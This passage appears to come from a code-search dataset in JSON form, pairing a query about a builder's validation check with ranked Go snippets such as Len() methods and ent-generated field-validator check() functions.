"bca2f5568235bfb6af622d0dde0866b2", "score": "0.7215758", "text": "func (s EntityCollection) Len() int {\n\treturn len(s)\n}", "title": "" }, { "docid": "bca2f5568235bfb6af622d0dde0866b2", "score": "0.7215758", "text": "func (s EntityCollection) Len() int {\n\treturn len(s)\n}", "title": "" }, { "docid": "8923ac85f4db3158cce21cbc9d8b5e13", "score": "0.72149277", "text": "func (b BitVector) Len() int {\n\treturn b.size\n}", "title": "" }, { "docid": "f3c2f7ab3d104e39285c108c7d51b805", "score": "0.7208867", "text": "func (i IDs) Len() int {\n\treturn len(i)\n}", "title": "" }, { "docid": "4f24ffef327025a5e61d29a50fcfacde", "score": "0.7207424", "text": "func (u Urlset) Len() int {\n\treturn len(u.Url)\n}", "title": "" }, { "docid": "ed9468863ab7f7f41dc0f9e0a1d23580", "score": "0.72022593", "text": "func (this *Tree) Len() uint {\n\treturn this.count;\n}", "title": "" }, { "docid": "0cbf9663e015d076eea115d99cd4d3e6", "score": "0.72001004", "text": "func (e ElemArray) Len() int { return len(e) }", "title": "" }, { "docid": "e7db037988d90fb078111efc45152548", "score": "0.7190271", "text": "func (ts tableSet) Size() int {\n\treturn len(ts.novel) + len(ts.upstream)\n}", "title": "" }, { "docid": "513dc599dc72782e3398778b014cdb4b", "score": "0.7190188", "text": "func (a Quantities) Len() int {\n\treturn len(a)\n}", "title": "" }, { "docid": "f3dce1cd9758e7e61f03d6a242a3e4fe", "score": "0.71896267", "text": "func (s *Slice) Len() int {\n\treturn len(s.slice)\n}", "title": "" }, { "docid": "1b1895b5b5859ec1e9c26f3044aa77cb", "score": "0.7183944", "text": "func (s *Slices) Len() int {\n\treturn len(s.slices)\n}", "title": "" }, { "docid": "1398b06f1ca33cd9fdba5eadab98ff10", "score": "0.7177829", "text": "func (m *Map[K, V]) Len() int {\n\tif m == nil {\n\t\treturn 0\n\t}\n\treturn len(m.index)\n}", "title": "" }, { "docid": "acaf2366d48b5658b39a06171e282c7f", "score": "0.71678245", "text": "func (a TypedArray) Len() int {\n\treturn a.Get(\"length\").Int()\n}", "title": "" }, { "docid": "b726c85cb549669e0dbbb39197b27876", "score": "0.7151369", "text": "func (a ByKey) Len() int { return len(a) }", "title": "" }, { "docid": "b726c85cb549669e0dbbb39197b27876", "score": "0.7151369", "text": "func (a ByKey) Len() int { return len(a) }", "title": "" }, { "docid": "b726c85cb549669e0dbbb39197b27876", "score": "0.7151369", "text": "func (a ByKey) Len() int { return len(a) }", "title": "" } ]
86884bdb668b5404329a4a8f003c944f
check runs all checks and userdefined validators on the builder.
[ { "docid": "bc5b7f75c793566677423d3b3a1fc61e", "score": "0.0", "text": "func (rlu *RuleLimitUpdate) check() error {\n\tif v, ok := rlu.mutation.LimitType(); ok {\n\t\tif err := rulelimit.LimitTypeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"limitType\", err: fmt.Errorf(\"ent: validator failed for field \\\"limitType\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" } ]
[ { "docid": "f143e8331ee497e8d61f1fd234446204", "score": "0.7182308", "text": "func (bc *BuilderCreate) check() error {\n\treturn nil\n}", "title": "" }, { "docid": "c2194a3c39d260ec9170f59c9702f1e7", "score": "0.64706486", "text": "func (buo *BadgeUpdateOne) check() error {\n\tif v, ok := buo.mutation.Color(); ok {\n\t\tif err := badge.ColorValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"color\", err: fmt.Errorf(\"ent: validator failed for field \\\"color\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := buo.mutation.Material(); ok {\n\t\tif err := badge.MaterialValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"material\", err: fmt.Errorf(\"ent: validator failed for field \\\"material\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "c09c49f32ff65e642306cd655869c462", "score": "0.64591974", "text": "func (suo *SurgeryappointmentUpdateOne) check() error {\n\tif v, ok := suo.mutation.Phone(); ok {\n\t\tif err := surgeryappointment.PhoneValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"phone\", err: fmt.Errorf(\"ent: validator failed for field \\\"phone\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := suo.mutation.Note(); ok {\n\t\tif err := surgeryappointment.NoteValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"note\", err: fmt.Errorf(\"ent: validator failed for field \\\"note\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := suo.mutation.Cost(); ok {\n\t\tif err := surgeryappointment.CostValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"cost\", err: fmt.Errorf(\"ent: validator failed for field \\\"cost\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "0e65a56b2f2a9f814a85386ee8e88287", "score": "0.644775", "text": "func (su *SurgeryappointmentUpdate) check() error {\n\tif v, ok := su.mutation.Phone(); ok {\n\t\tif err := surgeryappointment.PhoneValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"phone\", err: fmt.Errorf(\"ent: validator failed for field \\\"phone\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := su.mutation.Note(); ok {\n\t\tif err := surgeryappointment.NoteValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"note\", err: fmt.Errorf(\"ent: validator failed for field \\\"note\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := su.mutation.Cost(); ok {\n\t\tif err := surgeryappointment.CostValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"cost\", err: fmt.Errorf(\"ent: validator failed for field \\\"cost\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "2dd7e2308117ccda2ca2700503eaccb8", "score": "0.64179504", "text": "func (bc *BankdetailCreate) check() error {\n\tif v, ok := bc.mutation.BankAccountNo(); ok {\n\t\tif err := bankdetail.BankAccountNoValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"Bank_AccountNo\", err: fmt.Errorf(\"ent: validator failed for field \\\"Bank_AccountNo\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := bc.mutation.BankName(); ok {\n\t\tif err := bankdetail.BankNameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"Bank_Name\", err: fmt.Errorf(\"ent: validator failed for field \\\"Bank_Name\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := bc.mutation.BankAccountName(); ok {\n\t\tif err := bankdetail.BankAccountNameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"Bank_AccountName\", err: fmt.Errorf(\"ent: validator failed for field \\\"Bank_AccountName\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "548c1c9692c2d11bd4cb41c9b5b5cdac", "score": "0.6363498", "text": "func (uuo *UserUpdateOne) check() error {\n\tif v, ok := uuo.mutation.BillingID(); ok {\n\t\tif err := user.BillingIDValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"billing_id\", err: fmt.Errorf(\"models: validator failed for field \\\"billing_id\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uuo.mutation.Provider(); ok {\n\t\tif err := user.ProviderValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"provider\", err: fmt.Errorf(\"models: validator failed for field \\\"provider\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uuo.mutation.Email(); ok {\n\t\tif err := user.EmailValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"email\", err: fmt.Errorf(\"models: validator failed for field \\\"email\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uuo.mutation.Password(); ok {\n\t\tif err := user.PasswordValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"password\", err: fmt.Errorf(\"models: validator failed for field \\\"password\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uuo.mutation.APIKey(); ok {\n\t\tif err := user.APIKeyValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"api_key\", err: fmt.Errorf(\"models: validator failed for field \\\"api_key\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uuo.mutation.ConfirmationToken(); ok {\n\t\tif err := user.ConfirmationTokenValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"confirmation_token\", err: fmt.Errorf(\"models: validator failed for field \\\"confirmation_token\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uuo.mutation.RecoveryToken(); ok {\n\t\tif err := user.RecoveryTokenValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"recovery_token\", err: fmt.Errorf(\"models: validator failed for field \\\"recovery_token\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uuo.mutation.Otp(); ok {\n\t\tif err := user.OtpValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"otp\", err: fmt.Errorf(\"models: validator failed for field \\\"otp\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uuo.mutation.EmailChange(); ok {\n\t\tif err := user.EmailChangeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"email_change\", err: fmt.Errorf(\"models: validator failed for field \\\"email_change\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uuo.mutation.EmailChangeToken(); ok {\n\t\tif err := user.EmailChangeTokenValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"email_change_token\", err: fmt.Errorf(\"models: validator failed for field \\\"email_change_token\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "473718b4ae4892faeb26b8ca205ec644", "score": "0.635996", "text": "func (mc *MachineCreate) check() error {\n\tif _, ok := mc.mutation.Hwid(); !ok {\n\t\treturn &ValidationError{Name: \"hwid\", err: errors.New(\"ent: missing required field \\\"hwid\\\"\")}\n\t}\n\tif v, ok := mc.mutation.Hwid(); ok {\n\t\tif err := machine.HwidValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"hwid\", err: fmt.Errorf(\"ent: validator failed for field \\\"hwid\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := mc.mutation.Hostname(); !ok {\n\t\treturn &ValidationError{Name: \"hostname\", err: errors.New(\"ent: missing required field \\\"hostname\\\"\")}\n\t}\n\tif v, ok := mc.mutation.Hostname(); ok {\n\t\tif err := machine.HostnameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"hostname\", err: fmt.Errorf(\"ent: validator failed for field \\\"hostname\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := mc.mutation.Fingerprint(); !ok {\n\t\treturn &ValidationError{Name: \"fingerprint\", err: errors.New(\"ent: missing required field \\\"fingerprint\\\"\")}\n\t}\n\tif v, ok := mc.mutation.Fingerprint(); ok {\n\t\tif err := machine.FingerprintValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"fingerprint\", err: fmt.Errorf(\"ent: validator failed for field \\\"fingerprint\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "dca83afcb50783c7d0fcfbe5c031cb07", "score": "0.6350668", "text": "func (wu *WalletUpdate) check() error {\n\tif v, ok := wu.mutation.Seed(); ok {\n\t\tif err := wallet.SeedValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"seed\", err: fmt.Errorf(`ent: validator failed for field \"Wallet.seed\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := wu.mutation.Representative(); ok {\n\t\tif err := wallet.RepresentativeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"representative\", err: fmt.Errorf(`ent: validator failed for field \"Wallet.representative\": %w`, err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "d68beebab4f1ed0abfb79c42d2567891", "score": "0.63485354", "text": "func (wuo *WalletUpdateOne) check() error {\n\tif v, ok := wuo.mutation.Seed(); ok {\n\t\tif err := wallet.SeedValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"seed\", err: fmt.Errorf(`ent: validator failed for field \"Wallet.seed\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := wuo.mutation.Representative(); ok {\n\t\tif err := wallet.RepresentativeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"representative\", err: fmt.Errorf(`ent: validator failed for field \"Wallet.representative\": %w`, err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "afaf714fa735f61d3b200554a16366e2", "score": "0.63390565", "text": "func (uu *UserUpdate) check() error {\n\tif v, ok := uu.mutation.BillingID(); ok {\n\t\tif err := user.BillingIDValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"billing_id\", err: fmt.Errorf(\"models: validator failed for field \\\"billing_id\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uu.mutation.Provider(); ok {\n\t\tif err := user.ProviderValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"provider\", err: fmt.Errorf(\"models: validator failed for field \\\"provider\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uu.mutation.Email(); ok {\n\t\tif err := user.EmailValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"email\", err: fmt.Errorf(\"models: validator failed for field \\\"email\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uu.mutation.Password(); ok {\n\t\tif err := user.PasswordValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"password\", err: fmt.Errorf(\"models: validator failed for field \\\"password\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uu.mutation.APIKey(); ok {\n\t\tif err := user.APIKeyValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"api_key\", err: fmt.Errorf(\"models: validator failed for field \\\"api_key\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uu.mutation.ConfirmationToken(); ok {\n\t\tif err := user.ConfirmationTokenValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"confirmation_token\", err: fmt.Errorf(\"models: validator failed for field \\\"confirmation_token\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uu.mutation.RecoveryToken(); ok {\n\t\tif err := user.RecoveryTokenValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"recovery_token\", err: fmt.Errorf(\"models: validator failed for field \\\"recovery_token\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uu.mutation.Otp(); ok {\n\t\tif err := user.OtpValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"otp\", err: fmt.Errorf(\"models: validator failed for field \\\"otp\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uu.mutation.EmailChange(); ok {\n\t\tif err := user.EmailChangeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"email_change\", err: fmt.Errorf(\"models: validator failed for field \\\"email_change\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uu.mutation.EmailChangeToken(); ok {\n\t\tif err := user.EmailChangeTokenValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"email_change_token\", err: fmt.Errorf(\"models: validator failed for field \\\"email_change_token\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "59c3a5519d8215c5a8ac6f6ae85c7dcf", "score": "0.6327666", "text": "func (bu *BadgeUpdate) check() error {\n\tif v, ok := bu.mutation.Color(); ok {\n\t\tif err := badge.ColorValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"color\", err: fmt.Errorf(\"ent: validator failed for field \\\"color\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := bu.mutation.Material(); ok {\n\t\tif err := badge.MaterialValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"material\", err: fmt.Errorf(\"ent: validator failed for field \\\"material\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "f51a284f9578f97aa05133915a694eae", "score": "0.6310686", "text": "func (rdc *ResultsDefinitionCreate) check() error {\n\treturn nil\n}", "title": "" }, { "docid": "3005349b035081ad8cb7bc82f3a6419d", "score": "0.6308899", "text": "func (cc *ConsumerCreate) check() error {\n\tif v, ok := cc.mutation.TransactionID(); ok {\n\t\tif err := consumer.TransactionIDValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"transaction_id\", err: fmt.Errorf(\"ent: validator failed for field \\\"transaction_id\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cc.mutation.TransactionStatus(); ok {\n\t\tif err := consumer.TransactionStatusValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"TransactionStatus\", err: fmt.Errorf(\"ent: validator failed for field \\\"TransactionStatus\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cc.mutation.TransactionType(); ok {\n\t\tif err := consumer.TransactionTypeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"TransactionType\", err: fmt.Errorf(\"ent: validator failed for field \\\"TransactionType\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cc.mutation.PaymentChannel(); ok {\n\t\tif err := consumer.PaymentChannelValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"PaymentChannel\", err: fmt.Errorf(\"ent: validator failed for field \\\"PaymentChannel\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cc.mutation.PaymentType(); ok {\n\t\tif err := consumer.PaymentTypeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"PaymentType\", err: fmt.Errorf(\"ent: validator failed for field \\\"PaymentType\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cc.mutation.TypeCode(); ok {\n\t\tif err := consumer.TypeCodeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"TypeCode\", err: fmt.Errorf(\"ent: validator failed for field \\\"TypeCode\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cc.mutation.ApprovalCode(); ok {\n\t\tif err := consumer.ApprovalCodeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"ApprovalCode\", err: fmt.Errorf(\"ent: validator failed for field \\\"ApprovalCode\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cc.mutation.BillerID(); ok {\n\t\tif err := consumer.BillerIDValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"BillerID\", err: fmt.Errorf(\"ent: validator failed for field \\\"BillerID\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cc.mutation.Ref1(); ok {\n\t\tif err := consumer.Ref1Validator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"ref1\", err: fmt.Errorf(\"ent: validator failed for field \\\"ref1\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cc.mutation.Ref2(); ok {\n\t\tif err := consumer.Ref2Validator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"ref2\", err: fmt.Errorf(\"ent: validator failed for field \\\"ref2\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cc.mutation.Ref3(); ok {\n\t\tif err := consumer.Ref3Validator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"ref3\", err: fmt.Errorf(\"ent: validator failed for field \\\"ref3\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cc.mutation.FromReference(); ok {\n\t\tif err := consumer.FromReferenceValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"FromReference\", err: fmt.Errorf(\"ent: validator failed for field \\\"FromReference\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cc.mutation.FromPhoneNo(); ok {\n\t\tif err := consumer.FromPhoneNoValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"FromPhoneNo\", err: fmt.Errorf(\"ent: validator failed for field \\\"FromPhoneNo\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cc.mutation.FromName(); ok {\n\t\tif err := consumer.FromNameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"FromName\", err: fmt.Errorf(\"ent: validator failed for field \\\"FromName\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cc.mutation.ToAccount(); ok {\n\t\tif err := consumer.ToAccountValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"ToAccount\", err: fmt.Errorf(\"ent: validator failed for field \\\"ToAccount\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cc.mutation.ToAccountPhoneNo(); ok {\n\t\tif err := consumer.ToAccountPhoneNoValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"ToAccountPhoneNo\", err: fmt.Errorf(\"ent: validator failed for field \\\"ToAccountPhoneNo\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cc.mutation.ToAccountName(); ok {\n\t\tif err := consumer.ToAccountNameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"ToAccountName\", err: fmt.Errorf(\"ent: validator failed for field \\\"ToAccountName\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cc.mutation.BankCode(); ok {\n\t\tif err := consumer.BankCodeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"BankCode\", err: fmt.Errorf(\"ent: validator failed for field \\\"BankCode\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cc.mutation.TerminalId(); ok {\n\t\tif err := consumer.TerminalIdValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"TerminalId\", err: fmt.Errorf(\"ent: validator failed for field \\\"TerminalId\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cc.mutation.TerminalType(); ok {\n\t\tif err := consumer.TerminalTypeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"TerminalType\", err: fmt.Errorf(\"ent: validator failed for field \\\"TerminalType\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cc.mutation.ToAccount105(); ok {\n\t\tif err := consumer.ToAccount105Validator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"ToAccount105\", err: fmt.Errorf(\"ent: validator failed for field \\\"ToAccount105\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cc.mutation.FromReference105(); ok {\n\t\tif err := consumer.FromReference105Validator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"FromReference105\", err: fmt.Errorf(\"ent: validator failed for field \\\"FromReference105\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cc.mutation.PartnerRef(); ok {\n\t\tif err := consumer.PartnerRefValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"PartnerRef\", err: fmt.Errorf(\"ent: validator failed for field \\\"PartnerRef\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cc.mutation.ResponseCode(); ok {\n\t\tif err := consumer.ResponseCodeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"ResponseCode\", err: fmt.Errorf(\"ent: validator failed for field \\\"ResponseCode\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cc.mutation.ResponseDescription(); ok {\n\t\tif err := consumer.ResponseDescriptionValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"ResponseDescription\", err: fmt.Errorf(\"ent: validator failed for field \\\"ResponseDescription\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "8d27ffd89ac9eb617c0aad9d2531d53c", "score": "0.6282155", "text": "func (lbc *LoadBalanceCreate) check() error {\n\tif _, ok := lbc.mutation.ServiceID(); !ok {\n\t\treturn &ValidationError{Name: \"service_id\", err: errors.New(\"ent: missing required field \\\"service_id\\\"\")}\n\t}\n\tif _, ok := lbc.mutation.CheckMethod(); !ok {\n\t\treturn &ValidationError{Name: \"check_method\", err: errors.New(\"ent: missing required field \\\"check_method\\\"\")}\n\t}\n\tif _, ok := lbc.mutation.CheckTimeout(); !ok {\n\t\treturn &ValidationError{Name: \"check_timeout\", err: errors.New(\"ent: missing required field \\\"check_timeout\\\"\")}\n\t}\n\tif _, ok := lbc.mutation.CheckInterval(); !ok {\n\t\treturn &ValidationError{Name: \"check_interval\", err: errors.New(\"ent: missing required field \\\"check_interval\\\"\")}\n\t}\n\tif _, ok := lbc.mutation.RoundType(); !ok {\n\t\treturn &ValidationError{Name: \"round_type\", err: errors.New(\"ent: missing required field \\\"round_type\\\"\")}\n\t}\n\tif _, ok := lbc.mutation.IPList(); !ok {\n\t\treturn &ValidationError{Name: \"ip_list\", err: errors.New(\"ent: missing required field \\\"ip_list\\\"\")}\n\t}\n\tif _, ok := lbc.mutation.WeightList(); !ok {\n\t\treturn &ValidationError{Name: \"weight_list\", err: errors.New(\"ent: missing required field \\\"weight_list\\\"\")}\n\t}\n\tif _, ok := lbc.mutation.ForbidList(); !ok {\n\t\treturn &ValidationError{Name: \"forbid_list\", err: errors.New(\"ent: missing required field \\\"forbid_list\\\"\")}\n\t}\n\tif _, ok := lbc.mutation.UpstreamConnectTimeout(); !ok {\n\t\treturn &ValidationError{Name: \"upstream_connect_timeout\", err: errors.New(\"ent: missing required field \\\"upstream_connect_timeout\\\"\")}\n\t}\n\tif _, ok := lbc.mutation.UpstreamHeaderTimeout(); !ok {\n\t\treturn &ValidationError{Name: \"upstream_header_timeout\", err: errors.New(\"ent: missing required field \\\"upstream_header_timeout\\\"\")}\n\t}\n\tif _, ok := lbc.mutation.UpstreamIdleTimeout(); !ok {\n\t\treturn &ValidationError{Name: \"upstream_idle_timeout\", err: errors.New(\"ent: missing required field \\\"upstream_idle_timeout\\\"\")}\n\t}\n\tif _, ok := lbc.mutation.UpstreamMaxIdle(); !ok {\n\t\treturn &ValidationError{Name: \"upstream_max_idle\", err: errors.New(\"ent: missing required field \\\"upstream_max_idle\\\"\")}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "c403b2d0e69ea50df75140faf9aa5203", "score": "0.6279344", "text": "func (auo *AccountUpdateOne) check() error {\n\tif v, ok := auo.mutation.Provider(); ok {\n\t\tif err := account.ProviderValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"provider\", err: fmt.Errorf(\"models: validator failed for field \\\"provider\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := auo.mutation.Email(); ok {\n\t\tif err := account.EmailValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"email\", err: fmt.Errorf(\"models: validator failed for field \\\"email\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := auo.mutation.Password(); ok {\n\t\tif err := account.PasswordValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"password\", err: fmt.Errorf(\"models: validator failed for field \\\"password\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := auo.mutation.ConfirmationToken(); ok {\n\t\tif err := account.ConfirmationTokenValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"confirmation_token\", err: fmt.Errorf(\"models: validator failed for field \\\"confirmation_token\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := auo.mutation.RecoveryToken(); ok {\n\t\tif err := account.RecoveryTokenValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"recovery_token\", err: fmt.Errorf(\"models: validator failed for field \\\"recovery_token\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := auo.mutation.Otp(); ok {\n\t\tif err := account.OtpValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"otp\", err: fmt.Errorf(\"models: validator failed for field \\\"otp\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := auo.mutation.EmailChange(); ok {\n\t\tif err := account.EmailChangeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"email_change\", err: fmt.Errorf(\"models: validator failed for field \\\"email_change\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := auo.mutation.EmailChangeToken(); ok {\n\t\tif err := account.EmailChangeTokenValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"email_change_token\", err: fmt.Errorf(\"models: validator failed for field \\\"email_change_token\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "08c083ab4ce9c8f3b014634f044b3090", "score": "0.6273348", "text": "func (mruo *MedicalRecordUpdateOne) check() error {\n\tif v, ok := mruo.mutation.Email(); ok {\n\t\tif err := medicalrecord.EmailValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"email\", err: fmt.Errorf(\"ent: validator failed for field \\\"email\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := mruo.mutation.Password(); ok {\n\t\tif err := medicalrecord.PasswordValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"password\", err: fmt.Errorf(\"ent: validator failed for field \\\"password\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := mruo.mutation.Name(); ok {\n\t\tif err := medicalrecord.NameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"name\", err: fmt.Errorf(\"ent: validator failed for field \\\"name\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "0ae4254751a29e15b4c8fb7cc507be1f", "score": "0.6253816", "text": "func (wc *WidgetCreate) check() error {\n\tif _, ok := wc.mutation.Note(); !ok {\n\t\treturn &ValidationError{Name: \"note\", err: errors.New(`ent: missing required field \"note\"`)}\n\t}\n\tif v, ok := wc.mutation.Note(); ok {\n\t\tif err := widget.NoteValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"note\", err: fmt.Errorf(`ent: validator failed for field \"note\": %w`, err)}\n\t\t}\n\t}\n\tif _, ok := wc.mutation.CreatedAt(); !ok {\n\t\treturn &ValidationError{Name: \"created_at\", err: errors.New(`ent: missing required field \"created_at\"`)}\n\t}\n\tif _, ok := wc.mutation.Status(); !ok {\n\t\treturn &ValidationError{Name: \"status\", err: errors.New(`ent: missing required field \"status\"`)}\n\t}\n\tif v, ok := wc.mutation.Status(); ok 